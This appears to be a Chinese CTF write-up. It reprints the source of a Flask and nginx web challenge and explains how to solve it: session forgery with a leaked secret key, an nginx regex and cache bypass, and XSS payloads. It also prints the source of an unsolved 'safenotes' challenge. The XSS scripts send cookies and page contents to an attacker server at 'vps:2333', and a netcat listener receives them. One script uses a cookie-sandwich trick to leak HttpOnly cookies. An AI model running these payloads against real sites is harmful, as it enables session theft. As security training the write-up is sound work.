login_user(new_user)
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', 'your_ticket_value')
return response
return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = USERS_DB.get(username)
if user and user.password == password:
login_user(user)
return redirect(url_for('index'))
flash('Invalid credentials.')
return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))

@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
if request.method == 'POST':
current_user.bio = request.form['bio']
print(current_user.bio)
return redirect(url_for('index'))
return render_template('profile.html')

@app.route('/ticket', methods=['GET', 'POST'])
def ticket():
if request.method == 'POST':
ticket = request.form['ticket']
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', ticket)
return response
return render_template('ticket.html')

@app.route("/view", methods=["GET"])
@login_required
def view_user():
"""
# I found a bug in it.
# Until I fix it, I've banned /api/bio/. Have fun :)
"""
username = request.args.get("username",default=current_user.username)
visit_url(f"http://localhost/api/bio/{username}")
template = f"""
{{% extends "base.html" %}}
{{% block title %}}success{{% endblock %}}
{{% block content %}}
<h1>bot will visit your bio</h1>
<p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
{{% endblock %}}
"""
return render_template_string(template)


@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
if not current_user.username == username:
return "Unauthorized", 401
user = USERS_DB.get(username)
if not user:
return "User not found.", 404
return user.bio

def visit_url(url):
try:
flag_value = os.environ.get('FLAG', 'flag{fake}')

with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
context = browser.new_context()

context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])

page = context.new_page()
page.goto("http://localhost/login", timeout=5000)
page.fill("input[name='username']", "admin")
page.fill("input[name='password']", admin_password)
page.click("input[name='submit']")
page.wait_for_timeout(3000)
page.goto(url, timeout=5000)
page.wait_for_timeout(5000)
browser.close()

except Exception as e:
print(f"Bot error: {str(e)}")


if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)

nginx.conf

user  www-data;
worker_processes auto;
pid /var/run/nginx.pid;

events {
worker_connections 1024;
}

http {
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=static_cache:10m max_size=1g inactive=60m;

include /etc/nginx/mime.types;
default_type application/octet-stream;

server {
listen 80 default_server;
server_name _;

location / {
proxy_pass http://127.0.0.1:5000;
}

location /api/bio/ {
return 403;
}

location ~ \.(css|js)$ {
proxy_pass http://127.0.0.1:5000;
proxy_ignore_headers Vary;
proxy_cache static_cache;
proxy_cache_valid 200 10m;
}
}
}

首先代码里提供key,说明可以session伪造

app.config['SECRET_KEY'] = 'your-secret-key-here'

.eJwlzjkOwjAQAMC_uKbIrvew8xm0lwVtQirE30FiXjDvdl9HnY-2v46rbu3-zLY3Rx7ccYFYT_VOKzbqm5hLEHqCBYjbYpMC2zhKO6eKa0VM40mWUzkwaFH5VOfI1dktMG3GxsK1ugkQaBqOiRiqDIOMh3L7Ra6zjv8G2ucLEGcv6w.aNLvkg.jQY03grtQv4qYxaJEYx9qQwUK3M

关键代码:

flag会被添加到cookie当中

如果调用 visit_url , 客户端发起 GET /view?username=xxx

bot会访问http://localhost/api/bio/{username}

而且bio是可以任意修改的,所以这里存在xxs注入

def view_user():
"""
# I found a bug in it.
# Until I fix it, I've banned /api/bio/. Have fun :)
"""
username = request.args.get("username",default=current_user.username)
visit_url(f"http://localhost/api/bio/{username}")
template = f"""
{{% extends "base.html" %}}
{{% block title %}}success{{% endblock %}}
{{% block content %}}
<h1>bot will visit your bio</h1>
<p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
{{% endblock %}}
"""
return render_template_string(template)

def visit_url(url):
try:
flag_value = os.environ.get('FLAG', 'flag{fake}')

with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
context = browser.new_context()

context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])

page = context.new_page()
page.goto("http://localhost/login", timeout=5000)
page.fill("input[name='username']", "admin")
page.fill("input[name='password']", admin_password)
page.click("input[name='submit']")
page.wait_for_timeout(3000)
page.goto(url, timeout=5000)
page.wait_for_timeout(5000)
browser.close()

except Exception as e:
print(f"Bot error: {str(e)}")

但是/api/bio/被禁了,无法直接访问

location /api/bio/ {
return 403;
}

location ~ \.(css|js)$ {
proxy_pass http://127.0.0.1:5000;
proxy_ignore_headers Vary;
proxy_cache static_cache;
proxy_cache_valid 200 10m;
}

这里有一个知识点:Nginx location匹配规则及优先级

正则匹配 ~ 或 ~\*
按配置文件中的顺序依次匹配,先出现的正则表达式优先。若匹配成功,立即停止搜索。

普通前缀匹配(无修饰符)
匹配以指定字符串开头的 URI,但优先级低于 ^~ 和正则匹配。

nginx正则匹配优先级大于普通前缀匹配,假如用户名中含有js或者css就可以绕过403正常访问了

这里注册一个1.js

此时可以正常访问/api/bio/1.js

第二个问题是 bot在访问我们的bio界面的时候,会对身份进行检验,只有自己能访问自己的bio

if not current_user.username == username:
return "Unauthorized", 401

还是这段代码,如果是js或者css结尾的请求会被写到缓存里,下次读的时候会直接读缓存里的东西,那么我们先自己去访问一下/api/bio/1.js,再通过/view路由让bot去访问,这样username是1.js,current_user.username是从缓存里面读出来的就能绕过了

location ~ \.(css|js)$ {
proxy_pass http://127.0.0.1:5000;
proxy_ignore_headers Vary;
proxy_cache static_cache;
proxy_cache_valid 200 10m;

最后是写xxs payload

非预期

原本题目设置 **httpOnly **

如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。

但o写成了小写所以没有生效,这里可以直接xxs注入

首先在登录1.js用户访问/api/bio/1.js,被写到缓存里【注意,此储存只能用一次读后必须再次访问/api/bio/1.js】,然后将bio改为以下payload:

<script>fetch('http://vps:2333/'+document.cookie);</script>

然后session伪造登录admin用户,用admin用户访问

/view?username=1.js

读到flag

nc -lvvnp 2333

预期解

httpOnly绕过(三明治攻击)

https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique

**原理是利用cookie的值里可以带上引号,然而浏览器发送cookies的时候并不会对引号做额外的处理 **

如果有一个能控制并回显的cookie,用引号开头,并且设置另一个cookie用引号结尾,发送的请求头就类似于

Cookie: cookie1="1; cookie2=2"

然而此时后端解析时,会认为只有一个cookie1,值为1; cookie2=2

如果能对cookie进行排列,将httponly的cookie排列在中间,那么便能将其泄露

这里选用端口/ticket,会显示一个叫ticket的cookie。另外,我们需要排序,可以通过设置cookie的path来改变cookies发送时的顺序,攻击 HttpOnly 的 cookie

path内容多的会排在前面,然后后设置的排在后面,故我们作如下设置

const url = new URL("http://localhost/ticket");
document.cookie = `$Version=1; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `ticket="nbnb; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `aaa=bbb"; domain=${url.hostname}; path=/;`;

脚本如下

<script>
const url = new URL("http://localhost/ticket");
document.cookie = `$Version=1; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `ticket="nbnb; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `aaa=bbb"; domain=${url.hostname}; path=/;`;
fetch("/ticket", {
credentials: 'include',
}).then(response => {
return response.text();
}).then(data => {
fetch("http://vps:2333/", {
method: "POST",
body: data,
});
})
</script>

其它流程同非预期解

得到flag

nc -lvvnp 2333

safenotes

源码

const express = require("express");
const bodyParser = require("body-parser");
const crypto = require("crypto");
const bot = require("./bot");

const app = express();
const PORT = 3000;

let notes = [];
app.use(bodyParser.urlencoded({ extended: true }));
function escapeHTML(str) {
return str
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;")
.replace(/'/g, "&#39;");
}
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString("hex");
res.locals.nonce=nonce;
res.setHeader("Content-Security-Policy", `
default-src 'none';
script-src 'nonce-${nonce}';
style-src 'unsafe-inline';
`.replace(/\n/g, "").trim());
next();
});
app.get("/", (req, res) => {
let listItems = notes.map((content, index) => {
return `
<li style="margin-bottom:15px;padding:10px;border:1px solid #ddd;border-radius:5px;background:#f9f9f9;">
<a href="/note/${index}">Note ${index}</a>
<div id='note-${index}' class="note-content"></div>
<form action="/delete/${index}" method="POST" style="display:inline;">
<button type="submit" style="margin-left:10px;background:#ff4d4f;color:white;border:none;border-radius:3px;cursor:pointer;">Delete</button>
</form>
<script src="/preview?index=${encodeURIComponent(index)}&content=${encodeURIComponent(content)}" nonce="${res.locals.nonce}"></script>
</li>
`;
}).join("");

res.send(`
<html>
<head>
<title>📒 Notes</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
textarea { width: 400px; height: 80px; }
button { margin-top: 5px; }
ul { list-style: none; padding: 0; }
</style>
</head>
<body>
<h1>📒 Notes</h1>
<form action="/add" method="POST">
<textarea name="content"></textarea><br>
<button type="submit">Add Note</button>
</form>
<hr>
<ul>
${listItems}
</ul>
</body>
</html>
`);
});

app.get("/preview", (req, res) => {
res.setHeader("Content-Type", "application/javascript");
const index = req.query.index;
let content = req.query.content || "";
content=escapeHTML(content);
const js = `
(function(){
const el = document.getElementById('note-${index}');
if (!el) return;
const text = '${content}';
if (text.length > 50) {
el.innerHTML = text.slice(0,50) + '...';
} else {
el.innerHTML = text;
}
})();
`;
res.send(js);
});

app.post("/add", (req, res) => {
let content = (req.body.content || "").trim();
if (content) notes.push(content);
res.redirect("/");
});

app.get("/note/:id", (req, res) => {
const id = parseInt(req.params.id);
if (id >= 0 && id < notes.length) {
res.send(`
<h1>Note ${id}</h1>
<p>${notes[id]}</p>
<a href="/">Back</a>
<form action="/delete/${id}" method="POST">
<button type="submit">Delete this note</button>
</form>
`);
} else {
res.status(404).send("Note not found");
}
});

app.post("/delete/:id", (req, res) => {
const id = parseInt(req.params.id);
if (id >= 0 && id < notes.length) notes.splice(id, 1);
res.redirect("/");
});

app.post("/report", async (req, res) => {
let url = req.body.url
if (!url)
return res.status(400).send("Missing url")

if(typeof url !== "string")
return res.status(400).send("Bad request")

try {
let result = await bot.visit(url)
res.send("发送成功")
} catch (err) {
console.error(err)
res.status(500).send("An error occurred")
}
})

app.listen(PORT, () => {
console.log(`Server running at http://localhost:${PORT}`);
});

const puppeteer = require('puppeteer');
const FLAG = process.env.FLAG ?? 'flag{test}';
const HOST = 'localhost:3000';
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}

const visit = async (url) => {
const browser = await puppeteer.launch({
executablePath:'/usr/bin/chromium',
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox']
});

await browser.setCookie({
name: 'flag',
value: FLAG,
domain: HOST,
path: '/',
httpOnly: false
});

const page = await browser.newPage();

await page.goto(url);
await sleep(5000);
await page.close();
}

module.exports = {visit};

待学习……